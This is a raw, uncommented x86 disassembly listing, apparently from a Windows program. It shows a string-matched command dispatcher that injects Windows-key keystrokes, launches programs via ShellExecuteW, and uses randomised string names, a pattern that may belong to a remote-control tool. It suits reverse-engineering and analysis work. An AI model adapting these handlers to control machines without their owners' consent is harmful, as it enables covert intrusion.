inc ecx
test al, al
jne 0x52ab60
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x596844
call fcn.0042bf10
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
call fcn.0054fad4
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x74], eax
lea edx, [ebp - 0x74]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00447b50
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00416060
mov eax, dword [ebp - 0x74]
push dword [eax + 4]
lea eax, [ebp - 0x74]
push eax
mov ecx, eax
call fcn.00452db0
push 0x2c
push dword [ebp - 0x74]
call fcn.0054fb04
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x52accf
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5cc3e4
call fcn.0042eba0
lea ecx, [ebp - 0x2c]
call fcn.00445250
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x52ad16
test cx, cx
je 0x52ad12
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x52ad16
add eax, 4
add edi, 4
test cx, cx
jne 0x52acf0
xor edi, edi
jmp 0x52ad1b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52ad36
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x529b64
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.MnFI3c0lTAKQNC7U2hJVEgpqAAFoemPyxFNGCYXPXQZqjSRAcIKRpcxUzUO
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042d7e0
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
mov ecx, esi
call fcn.00445250
add esp, 0x18
mov ecx, edi
call fcn.00464560
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x529b64
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52add6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e6
push ecx
push edx
call fcn.0054fb04
add esp, 8
jmp 0x529b64
sub esp, 0x18
mov ecx, esp
push 0x5c7700
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52ae45
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52ae10
sub ecx, dword [ebp - 0x2c]
je 0x52ae45
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52ae45
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52ae30
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52ae4c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52ae80
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52ae76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e6
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x52af14
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52aec0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052c7d0
test al, al
je 0x529b64
mov byte [esi + 0x9c], 1
jmp 0x529b64
sub esp, 0x18
mov ecx, esp
push 0x5c7718
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52af75
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52af40
sub ecx, dword [ebp - 0x2c]
je 0x52af75
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52af75
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52af60
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52af7c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52afb0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52afa6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e6
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x52b185
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52aff0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.0052c7d0
test al, al
je 0x529b64
mov byte [ebp - 4], 0x4e
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c690
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x40
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.VEpu1bi9olDx4klaE5UhdDFMnDzgjOGAsLZPQcACMCUZjTHRwXTkxx1PR1McKTc
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042d7e0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00434c90
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x298]
call fcn.00435db0
lea ecx, [ebp - 0x298]
call fcn.00434c10
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
lea ecx, [ebp - 0x2c]
call fcn.00445250
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x24]
push eax
call fcn.00421ac0
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b12d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x50
call fcn.0042ed00
push ecx
mov esi, esp
mov dword [ebp - 0x70], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042eab0
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.00527de0
lea ecx, [ebp - 0xe4]
call fcn.0042ed00
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x529b64
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x529b64
sub esp, 0x18
mov ecx, esp
push 0x5c7760
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52b1e5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b1b0
sub ecx, dword [ebp - 0x2c]
je 0x52b1e5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52b1e5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52b1d0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52b1ec
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52b220
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b216
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e6
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x52b364
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b260
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a560
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.0052c6f0
mov ecx, dword [eax]
test ecx, ecx
je 0x52b314
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x70], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042eab0
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.00464560
jmp 0x52b317
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b331
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52b349
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52c551
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x529b7a
sub esp, 0x18
mov ecx, esp
push 0x5c7910
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52b3c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b390
sub ecx, dword [ebp - 0x2c]
je 0x52b3c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52b3c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52b3b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52b3cc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52b400
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52b3f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52c5e6
push ecx
push edx
call fcn.0054fb04
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x52b5d1
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b440
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
add esp, 8
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x596844
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042f410
test al, al
jne 0x52b4a2
push 0
push 0x596844
lea ecx, [ebp - 0x3c]
call fcn.0042f740
mov byte [ebp - 4], 0x5b
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push 0x596844
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x5c
call fcn.0042f410
test al, al
jne 0x52b4e6
push 0
push 0x596844
lea ecx, [ebp - 0x44]
call fcn.0042f740
mov byte [ebp - 4], 0x5d
call fcn.0042f1a0
mov ecx, eax
test ecx, ecx
je 0x52c5f0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x596844
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042f410
test al, al
jne 0x52b52a
push 0
push 0x596844
lea ecx, [ebp - 0x34]
call fcn.0042f740
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x24], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.0044a980
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x44]
push dword [ebp - 0x24]
push eax
call fcn.0044c4a0
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b584
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52b59e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x52b5b6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52c551
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x529b7a
sub esp, 0x18
mov ecx, esp
push 0x5c77d8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52b635
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b600
sub ecx, dword [ebp - 0x2c]
je 0x52b635
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52b635
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52b620
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52b63c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
cmp dword [ebp - 0x24], 0
je 0x52b7c1
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042e150
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.0052c6f0
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
call fcn.004203d0
push str.NTA13Uk4S2VCJF1EhVoTFUsXcOlxUxUA1CbWVs2jWkcXoaBcVuQiEXjTUg
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042ef50
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042eba0
lea ecx, [ebp - 0x2c]
call fcn.00445250
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421ac0
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042e230
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52b6dd.5
movzx eax, byte [eax + 0x52c6b0]
jmp dword [eax*4 + 0x52c69c]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x68]
push str.NlRD1Nk12MIkZG1dnkWoTXYtQWUI9tJV9VRNTdfwWTow6FAx0QOBRZbMiVTQRB0wHeUYxTLRQMcdCVXvWicmgS0sp
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042ef50
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x68]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eba0
mov ecx, esi
call fcn.00445250
add esp, 0x18
mov ecx, edi
call fcn.00464560
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x62
call fcn.0042ed00
jmp 0x52b780
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00405d70
jmp 0x52b780
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x52b780
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x52b780
test edi, edi
je 0x52b7a6
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x50]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042eab0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00464560
lea ecx, [ebp - 0x130]
call fcn.0042ed00
lea ecx, [ebp - 0x38]
call fcn.0042e230
lea ecx, [ebp - 0x3c]
jmp 0x52c54c
sub esp, 0x18
mov ecx, esp
push 0x5c78e0
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov edx, eax
test edi, edi
je 0x52b825
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b7f0
sub ecx, dword [ebp - 0x2c]
je 0x52b825
mov eax, dword [edx + 0x10]
test eax, eax
je 0x52b825
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x52b810
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005604e0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x52b82c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
cmp dword [ebp - 0x24], 0
je 0x52bdd8
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52b870
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052ca40
sub esp, 0x10
mov ecx, esp
push 0x5c7a00
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52b8b4
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454df0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
cmp byte [ebp - 0x2d], 0
je 0x52b9b7
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.005518b0
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
lea ecx, [ebp - 0xcc]
call fcn.0042d6e0
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7a18
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52b9dc
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454df0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
cmp byte [ebp - 0x2d], 0
je 0x52ba32
push 0
push 0
push 0x44c3e0
call fcn.0055b0ca
add esp, 0xc
lea ecx, [ebp - 0xcc]
call fcn.0042d6e0
jmp 0x52c551
sub esp, 0x18
mov ecx, esp
push 0x5c7a30
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52ba57
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454df0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
sub esp, 0x18
cmp byte [ebp - 0x2d], 0
mov ecx, esp
je 0x52bbdc
push 0x5c79d0
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x52bab6
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042e150
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x68
call fcn.0042d6e0
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x52bdc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.M1RP3VUMm3IDFGoNzs
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042f850
push str.akNwaRhgcXEi8ErHB82UDy0vdIxgxpHzQ
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042f850
push str.SEZB2N24j3AlgsII3wSnJDM
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042f850
lea ecx, [ebp - 0x38]
call fcn.004203d0
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042eab0
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.00421ac0
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042e230
push 0x596844
lea ecx, [ebp - 0x48]
call fcn.0042f850
push 0x596844
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x6e
call fcn.0042f850
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042eab0
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [esi], eax
call fcn.00445630
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x70], esi
mov ecx, dword [ebp - 0x44]
add ecx, 0xfffffff0
call fcn.0042eab0
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00445630
add esp, 4
mov byte [ebp - 4], 0x71
mov edx, edi
jmp 0x52bd6a
push 0x5c79e8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x52bbfc
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00454df0
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x68]
call fcn.0042d6e0
cmp byte [ebp - 0x2d], 0
je 0x52bdc8
sub esp, 0x18
mov ecx, esp
push 0x5c79e8
call fcn.0042d3b0
lea ecx, [ebp - 0x68]
call fcn.00444f00
add esp, 0x18
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x52bc5b
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042e150
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x74
call fcn.0042d6e0
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x52bdc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.VGNzybCQR2HAghAAAc
lea ecx, [ebp - 0x44]
mov esi, eax
call fcn.0042f850
push str.NUx5KVlYtuFTVqbKQskkWj4
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042f850
push str.WVpObaH8_tDQc9UP3NN1NS8
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042f850
lea ecx, [ebp - 0x38]
call fcn.004203d0
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x70], esi
